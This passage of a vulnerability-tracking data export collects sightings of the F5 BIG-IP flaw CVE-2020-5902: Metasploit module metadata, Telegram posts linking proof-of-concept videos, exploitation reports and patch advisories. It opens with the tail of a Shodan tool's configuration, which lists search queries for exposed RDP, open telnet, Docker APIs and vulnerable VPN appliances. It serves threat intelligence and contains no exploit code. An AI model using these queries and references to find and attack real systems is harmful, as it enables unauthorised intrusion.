https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\n#check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\n\nSTOCK_SEARCHES = {\n'ANONYMOUS_FTP':'ftp anonymous ok',\n'RDP':'port:3389 has_screenshot:true',\n'OPEN_TELNET':'port:23 console gateway -password',\n'APACHE_DIR_LIST':'http.title:\"Index of /   \"',\n'SPRING_BOOT':'http.favicon.hash:116323821',\n'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"',\n'DOCKER_API':'\"Docker Containers:\" port:2375',\n'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555',\n'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"',\n'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/',\n'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"',\n'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"',\n'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"'\n}\n\n\n#OPTIONAL\n#IP or cidr range constraint for searches that return list of IP addresses\n#use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) \n\n#NET_RANGE = '0.0.0.0/0'\n    Run \n  cd ../\n  python3 shonydanza.py\n    See this how-to article (https://null-byte.wonderhowto.com/forum/to-use-shonydanza-find-target-and-exploit-0318883/) for additional usage instruction.  Legal Disclaimer  This project is made for educational and ethical testing (https://www.kitploit.com/search/label/Testing) purposes only. Usage of ShonyDanza for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.  \n\nDownload ShonyDanza (https://github.com/fierceoj/ShonyDanza)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:01:02.526293Z"}, {"uuid": "aa3f8aae-77b2-4432-bf8c-ac4a00b0beab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2020_5902.rb", "content": "{\"aliases\": [\"exploit/linux/http/f5_bigip_tmui_rce\"], \"arch\": \"cmd, x86, x64\", \"author\": [\"Mikhail Klyuchnikov\", \"wvu \"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits a directory traversal in F5's BIG-IP Traffic\\n          Management User Interface (TMUI) to upload a shell script and execute\\n          it as the Unix root user.\\n\\n          Unix shell access is obtained by escaping the restricted Traffic\\n          Management Shell (TMSH). The escape may not be reliable, and you may\\n          have to run the exploit multiple times. Sorry!\\n\\n          Versions 11.6.1-11.6.5, 12.1.0-12.1.5, 13.1.0-13.1.3, 14.1.0-14.1.2,\\n          15.0.0, and 15.1.0 are known to be vulnerable. Fixes were introduced\\n          in 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, and 15.1.0.4.\\n\\n          Tested against the VMware OVA release of 14.1.2.\", \"disclosure_date\": \"2020-06-30\", \"fullname\": \"exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902\", \"is_install_path\": true, \"mod_time\": \"2025-12-17 16:12:31 +0000\", \"name\": \"F5 BIG-IP TMUI Directory Traversal and File Upload RCE\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"unreliable-session\"], \"SideEffects\": [\"ioc-in-logs\", \"config-changes\", \"artifacts-on-disk\"], \"Stability\": [\"service-resource-loss\"]}, \"path\": \"/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2020_5902.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 200, \"ref_name\": \"linux/http/f5_bigip_tmui_rce_cve_2020_5902\", \"references\": [\"CVE-2020-5902\", \"URL-https://support.f5.com/csp/article/K52145254\", \"URL-https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/\"], \"rport\": 443, \"session_types\": false, \"targets\": [\"Unix Command\", \"Linux Dropper\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:33.098047Z"}, {"uuid": "fd8f1663-3b34-49ab-922b-ae4212c3d42d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/hackersmeet0/2406", "content": "\ud83d\udd30 Top vulnerabilities 2020 with POC\n\nCVE-2020-17530 | Apache Struts RCE\n\nhttps://youtu.be/MUAAwijvAe8\n\nSaltstack RCE | CVE-2020-16846\n\nhttps://youtu.be/5cV9wh2w-O8\n\nApache Unomi RCE | CVE-2020-13942\n\nhttps://youtu.be/iz6wjdGnpds\n\nGhost Cat | CVE-2020-1938\n\nhttps://youtu.be/3TGIg1x4XwU\n\nOracle WebLogic RCE | CVE-2020-14882\n\nhttps://youtu.be/t-sxvcZNFZo\n\nApache Tomcat RCE | CVE-2020-9484\n\nhttps://youtu.be/nF8tfsY74ws\n\nMoodle RCE | CVE-2020-14321\n\nhttps://youtu.be/BkEInFI4oIU\n\nCisco CVE-2020-3452 poc\n\nhttps://youtu.be/-UldKwwVgHE\n\nWordpress database plugin | CVE-2020-7048\n\nhttps://youtu.be/nj_dqcvrwp4\n\nCVE-2020-5902 F5 big IP\n\nhttps://youtu.be/-ppzdYDk-ZM\n\nOther CVE PoC videos\n\nhttps://youtube.com/playlist?list=PLiVfOzljj-46iFcif16qMaPP84ZxCZ4Mb\n\nCVE Lab Access : https://www.vulnmachines.com", "creation_timestamp": "2026-09-08T21:00:03.642631Z"}, {"uuid": "fd3d3425-d860-4948-936b-fcf763325958", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/hackersmeet0/2406", "content": "\ud83d\udd30 Top vulnerabilities 2020 with POC\n\nCVE-2020-17530 | Apache Struts RCE\n\nhttps://youtu.be/MUAAwijvAe8\n\nSaltstack RCE | CVE-2020-16846\n\nhttps://youtu.be/5cV9wh2w-O8\n\nApache Unomi RCE | CVE-2020-13942\n\nhttps://youtu.be/iz6wjdGnpds\n\nGhost Cat | CVE-2020-1938\n\nhttps://youtu.be/3TGIg1x4XwU\n\nOracle WebLogic RCE | CVE-2020-14882\n\nhttps://youtu.be/t-sxvcZNFZo\n\nApache Tomcat RCE | CVE-2020-9484\n\nhttps://youtu.be/nF8tfsY74ws\n\nMoodle RCE | CVE-2020-14321\n\nhttps://youtu.be/BkEInFI4oIU\n\nCisco CVE-2020-3452 poc\n\nhttps://youtu.be/-UldKwwVgHE\n\nWordpress database plugin | CVE-2020-7048\n\nhttps://youtu.be/nj_dqcvrwp4\n\nCVE-2020-5902 F5 big IP\n\nhttps://youtu.be/-ppzdYDk-ZM\n\nOther CVE PoC videos\n\nhttps://youtube.com/playlist?list=PLiVfOzljj-46iFcif16qMaPP84ZxCZ4Mb\n\nCVE Lab Access : https://www.vulnmachines.com", "creation_timestamp": "2026-09-09T00:00:13.446374Z"}, {"uuid": "3db777cc-d0d7-44f5-9987-3f156490299d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-10)", "content": "", "creation_timestamp": "2026-09-11T10:15:39.656794Z"}, {"uuid": "dc51da6c-414a-4091-a3a4-0f0831b3344d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/cissp/3231", "content": "Top 10 vulnerabilities in 2020 \n\n\n 1. CVE-2020-12720: vBulletin SQL Injection (OWASP 1: Injection)\n\n 2. CVE-2020-5902: F5 BIG IP RCE and LFI (OWASP 1: Injection)\n\n 3. CVE-2020-15506: MobileIron Core Authentication Bypass\n (OWASP 2: Broken Authentication)\n\n 4. CVE-2020-14882: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 5. CVE-2020-14750: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 6. CVE-2020-17530: Apache Struts 2 RCE (OWASP 1: Injection)\n\n 7. CVE-2020-2551: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 8. CVE-2020-13379: Grafana SSRF\n (OWASP 3: Broken Access Control)\n\n 9. CVE-2020-1147: Microsoft SharePoint Server RCE\n (OWASP 1: Injection)\n\n 10. CVE-2020-8209: Citrix XenMobile Server Path Traversal\n (OWASP 3: Broken Access Control)", "creation_timestamp": "2026-09-11T06:00:05.897164Z"}, {"uuid": "e93063e8-b23d-4a95-a4cf-eb113f111677", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/cissp/2540", "content": "Top 10 vulnerabilities in 2020:\n\n 1. CVE-2020-12720: vBulletin SQL Injection (OWASP 1: Injection)\n\n 2. CVE-2020-5902: F5 BIG IP RCE and LFI (OWASP 1: Injection)\n\n 3. CVE-2020-15506: MobileIron Core Authentication Bypass\n (OWASP 2: Broken Authentication)\n\n 4. CVE-2020-14882: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 5. CVE-2020-14750: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 6. CVE-2020-17530: Apache Struts 2 RCE (OWASP 1: Injection)\n\n 7. CVE-2020-2551: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 8. CVE-2020-13379: Grafana SSRF\n (OWASP 3: Broken Access Control)\n\n 9. CVE-2020-1147: Microsoft SharePoint Server RCE\n (OWASP 1: Injection)\n\n 10. CVE-2020-8209: Citrix XenMobile Server Path Traversal\n (OWASP 3: Broken Access Control)", "creation_timestamp": "2026-09-11T16:00:05.501715Z"}, {"uuid": "c2ea30d5-c5d4-42d7-8d9c-691862a879b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2541", "content": "Top vulnerabilities 2020 with POC\n\nCVE-2020-17530 | Apache Struts RCE\nhttps://youtu.be/MUAAwijvAe8\n\nSaltstack RCE | CVE-2020-16846\nhttps://youtu.be/5cV9wh2w-O8\n\nApache Unomi RCE | CVE-2020-13942\nhttps://youtu.be/iz6wjdGnpds\n\nGhost Cat | CVE-2020-1938\nhttps://youtu.be/3TGIg1x4XwU\n\nOracle WebLogic RCE | CVE-2020-14882\nhttps://youtu.be/t-sxvcZNFZo\n\nApache Tomcat RCE | CVE-2020-9484\nhttps://youtu.be/nF8tfsY74ws\n\nMoodle RCE | CVE-2020-14321\nhttps://youtu.be/BkEInFI4oIU\n\nCisco CVE-2020-3452 poc\nhttps://youtu.be/-UldKwwVgHE\n\nWordpress database plugin | CVE-2020-7048\nhttps://youtu.be/nj_dqcvrwp4\n\nCVE-2020-5902 F5 big IP\nhttps://youtu.be/-ppzdYDk-ZM\n\nOther CVE PoC videos\nhttps://youtube.com/playlist?list=PLiVfOzljj-46iFcif16qMaPP84ZxCZ4Mb", "creation_timestamp": "2026-09-11T16:00:06.218351Z"}, {"uuid": "a2d9106f-232f-4507-bbec-9275cd732f48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/cissp/1878", "content": "Malware \n1. Sophisticated new Android malware marks the latest evolution of mobile ransomware\nhttps://www.microsoft.com/security/blog/2020/10/08/sophisticated-new-android-malware-marks-the-latest-evolution-of-mobile-ransomware/\n\n2. MontysThree: \nIndustrial espionage with steganography\nhttps://securelist.com/montysthree-industrial-espionage/98972/\n\n3. Ryuk Ransomware Writeup\nhttps://thedfirreport.com/2020/10/08/ryuks-return/\n\nRed team\n1. Arbitrary code execution on Facebook for Android through download feature (PoC)\nhttps://medium.com/@dPhoeniixx/arbitrary-code-execution-on-facebook-for-android-through-download-feature-fb6826e33e0f\n\n2. Bypassing DOMPurify again with mutation XSS\nhttps://portswigger.net/research/bypassing-dompurify-again-with-mutation-xss\n\n3.Powershell Logging: \nObfuscation and Some New (ISH) Bypasses\nPart 1:\nhttps://www.bc-security.org/post/powershell-logging-obfuscation-and-some-newish-bypasses-part-1/\nPart 2:\nhttps://www.bc-security.org/post/powershell-logging-obfuscation-and-some-newish-bypasses-part-2/\n\n4.Possible attacks against VoIP\nhttps://medium.com/bugbountywriteup/a-tale-of-voip-security-testing-39937fe8c6fd\n\n5.PowerShell functions for Red Team to collect data from a machine\nhttps://securityonline.info/powershell-red-team/\n\n\ud83d\ude03\nCVE-2020-13756:\nSabberworm PHP CSS parser (before 8.3.1)\nsuffers from a code injection vulnerability (PoC)\nhttps://packetstormsecurity.com/files/157923/Sabberworm-PHP-CSS-Code-Injection.html\n\nUEFI fuzzing :\nPart 1. Moving From Common-Sense Knowledge About UEFI To Actually Dumping UEFI Firmware\nhttps://labs.sentinelone.com/moving-from-common-sense-knowledge-about-uefi-to-actually-dumping-uefi-firmware/\nPart 2. Moving From Manual Reverse Engineering of UEFI Modules To Dynamic Emulation of UEFI Firmware\nhttps://labs.sentinelone.com/moving-from-manual-re-of-uefi-modules-to-dynamic-emulation-of-uefi-firmware/\n\n\ud83d\ude03\nCVE-2020-5902 (9.8/10):\nIn BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), has a RCE vulnerability in undisclosed pages (PoCs)\nhttps://www.cvebase.com/cve/2020/5902", "creation_timestamp": "2026-09-11T23:00:06.003018Z"}, {"uuid": "ad1c8a54-5669-4689-8082-ad99345cc579", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/cissp/1878", "content": "Malware \n1. Sophisticated new Android malware marks the latest evolution of mobile ransomware\nhttps://www.microsoft.com/security/blog/2020/10/08/sophisticated-new-android-malware-marks-the-latest-evolution-of-mobile-ransomware/\n\n2. MontysThree: \nIndustrial espionage with steganography\nhttps://securelist.com/montysthree-industrial-espionage/98972/\n\n3. Ryuk Ransomware Writeup\nhttps://thedfirreport.com/2020/10/08/ryuks-return/\n\nRed team\n1. Arbitrary code execution on Facebook for Android through download feature (PoC)\nhttps://medium.com/@dPhoeniixx/arbitrary-code-execution-on-facebook-for-android-through-download-feature-fb6826e33e0f\n\n2. Bypassing DOMPurify again with mutation XSS\nhttps://portswigger.net/research/bypassing-dompurify-again-with-mutation-xss\n\n3.Powershell Logging: \nObfuscation and Some New (ISH) Bypasses\nPart 1:\nhttps://www.bc-security.org/post/powershell-logging-obfuscation-and-some-newish-bypasses-part-1/\nPart 2:\nhttps://www.bc-security.org/post/powershell-logging-obfuscation-and-some-newish-bypasses-part-2/\n\n4.Possible attacks against VoIP\nhttps://medium.com/bugbountywriteup/a-tale-of-voip-security-testing-39937fe8c6fd\n\n5.PowerShell functions for Red Team to collect data from a machine\nhttps://securityonline.info/powershell-red-team/\n\n\ud83d\ude03\nCVE-2020-13756:\nSabberworm PHP CSS parser (before 8.3.1)\nsuffers from a code injection vulnerability (PoC)\nhttps://packetstormsecurity.com/files/157923/Sabberworm-PHP-CSS-Code-Injection.html\n\nUEFI fuzzing :\nPart 1. Moving From Common-Sense Knowledge About UEFI To Actually Dumping UEFI Firmware\nhttps://labs.sentinelone.com/moving-from-common-sense-knowledge-about-uefi-to-actually-dumping-uefi-firmware/\nPart 2. Moving From Manual Reverse Engineering of UEFI Modules To Dynamic Emulation of UEFI Firmware\nhttps://labs.sentinelone.com/moving-from-manual-re-of-uefi-modules-to-dynamic-emulation-of-uefi-firmware/\n\n\ud83d\ude03\nCVE-2020-5902 (9.8/10):\nIn BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), has a RCE vulnerability in undisclosed pages (PoCs)\nhttps://www.cvebase.com/cve/2020/5902", "creation_timestamp": "2026-09-12T00:00:11.176282Z"}, {"uuid": "ecdcdd12-a0be-48f6-abb7-d25a0173ed2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2541", "content": "Top vulnerabilities 2020 with POC\n\nCVE-2020-17530 | Apache Struts RCE\nhttps://youtu.be/MUAAwijvAe8\n\nSaltstack RCE | CVE-2020-16846\nhttps://youtu.be/5cV9wh2w-O8\n\nApache Unomi RCE | CVE-2020-13942\nhttps://youtu.be/iz6wjdGnpds\n\nGhost Cat | CVE-2020-1938\nhttps://youtu.be/3TGIg1x4XwU\n\nOracle WebLogic RCE | CVE-2020-14882\nhttps://youtu.be/t-sxvcZNFZo\n\nApache Tomcat RCE | CVE-2020-9484\nhttps://youtu.be/nF8tfsY74ws\n\nMoodle RCE | CVE-2020-14321\nhttps://youtu.be/BkEInFI4oIU\n\nCisco CVE-2020-3452 poc\nhttps://youtu.be/-UldKwwVgHE\n\nWordpress database plugin | CVE-2020-7048\nhttps://youtu.be/nj_dqcvrwp4\n\nCVE-2020-5902 F5 big IP\nhttps://youtu.be/-ppzdYDk-ZM\n\nOther CVE PoC videos\nhttps://youtube.com/playlist?list=PLiVfOzljj-46iFcif16qMaPP84ZxCZ4Mb", "creation_timestamp": "2026-09-12T00:00:37.443571Z"}, {"uuid": "791b866d-a6f2-4476-82a9-0a779701594d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/cissp/2540", "content": "Top 10 vulnerabilities in 2020:\n\n 1. CVE-2020-12720: vBulletin SQL Injection (OWASP 1: Injection)\n\n 2. CVE-2020-5902: F5 BIG IP RCE and LFI (OWASP 1: Injection)\n\n 3. CVE-2020-15506: MobileIron Core Authentication Bypass\n (OWASP 2: Broken Authentication)\n\n 4. CVE-2020-14882: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 5. CVE-2020-14750: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 6. CVE-2020-17530: Apache Struts 2 RCE (OWASP 1: Injection)\n\n 7. CVE-2020-2551: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 8. CVE-2020-13379: Grafana SSRF\n (OWASP 3: Broken Access Control)\n\n 9. CVE-2020-1147: Microsoft SharePoint Server RCE\n (OWASP 1: Injection)\n\n 10. CVE-2020-8209: Citrix XenMobile Server Path Traversal\n (OWASP 3: Broken Access Control)", "creation_timestamp": "2026-09-12T00:00:36.962918Z"}, {"uuid": "a6988508-5f6b-41e8-a9b9-8b0175dc0cc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/cissp/3231", "content": "Top 10 vulnerabilities in 2020 \n\n\n 1. CVE-2020-12720: vBulletin SQL Injection (OWASP 1: Injection)\n\n 2. CVE-2020-5902: F5 BIG IP RCE and LFI (OWASP 1: Injection)\n\n 3. CVE-2020-15506: MobileIron Core Authentication Bypass\n (OWASP 2: Broken Authentication)\n\n 4. CVE-2020-14882: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 5. CVE-2020-14750: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 6. CVE-2020-17530: Apache Struts 2 RCE (OWASP 1: Injection)\n\n 7. CVE-2020-2551: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 8. CVE-2020-13379: Grafana SSRF\n (OWASP 3: Broken Access Control)\n\n 9. CVE-2020-1147: Microsoft SharePoint Server RCE\n (OWASP 1: Injection)\n\n 10. CVE-2020-8209: Citrix XenMobile Server Path Traversal\n (OWASP 3: Broken Access Control)", "creation_timestamp": "2026-09-12T00:00:50.944880Z"}, {"uuid": "b5ce7ddd-bbc9-4051-8d13-35e774b21d2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/cissp/905", "content": "Critical Unauthorized RCE Vulnerability (CVE-2020-5902 with CVSS Score 10/10) Affects F5's BIG-IP Application Security Servers Used in large Enterprises, Data Centers, and Cloud Computing Environments.\n\nhttps://thehackernews.com/2020/07/f5-big-ip-application-security.html\n\nApply Newly Released Patch Updates ASAP!\ud83d\udc4d\ud83c\udffd\ud83d\udc4d\ud83c\udffd\u270c\ud83c\udffc\ud83d\ude28", "creation_timestamp": "2026-09-12T03:00:06.293309Z"}, {"uuid": "e4cabd20-6851-4c1e-9259-ee9d592431d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "https://t.me/cissp/900", "content": "F5 BigIP TMUI Critical RCE (CVE-2020-5902/5903):\ud83d\ude03\nhttps://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/\n\nPoC:\ud83d\udc4d\ud83c\udffd\nhttps://github.com/rapid7/metasploit-framework/pull/13807/commits/0417e88ff24bf05b8874c953bd91600f10186ba4\n\nSecurity Advisory:\u270c\ud83c\udffc\nhttps://support.f5.com/csp/article/K52145254", "creation_timestamp": "2026-09-12T03:00:05.964989Z"}, {"uuid": "401be12d-5452-4127-bff5-ff0ac5eb2117", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-11)", "content": "", "creation_timestamp": "2026-09-12T10:15:16.984252Z"}, {"uuid": "89f56d65-029e-4332-94bb-59f8a650334e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "https://t.me/cissp/900", "content": "F5 BigIP TMUI Critical RCE (CVE-2020-5902/5903):\ud83d\ude03\nhttps://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/\n\nPoC:\ud83d\udc4d\ud83c\udffd\nhttps://github.com/rapid7/metasploit-framework/pull/13807/commits/0417e88ff24bf05b8874c953bd91600f10186ba4\n\nSecurity Advisory:\u270c\ud83c\udffc\nhttps://support.f5.com/csp/article/K52145254", "creation_timestamp": "2026-09-13T00:00:58.600056Z"}, {"uuid": "6b9d4425-1230-4deb-b27a-9fe19682b8b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/cissp/905", "content": "Critical Unauthorized RCE Vulnerability (CVE-2020-5902 with CVSS Score 10/10) Affects F5's BIG-IP Application Security Servers Used in large Enterprises, Data Centers, and Cloud Computing Environments.\n\nhttps://thehackernews.com/2020/07/f5-big-ip-application-security.html\n\nApply Newly Released Patch Updates ASAP!\ud83d\udc4d\ud83c\udffd\ud83d\udc4d\ud83c\udffd\u270c\ud83c\udffc\ud83d\ude28", "creation_timestamp": "2026-09-13T00:00:58.837653Z"}]}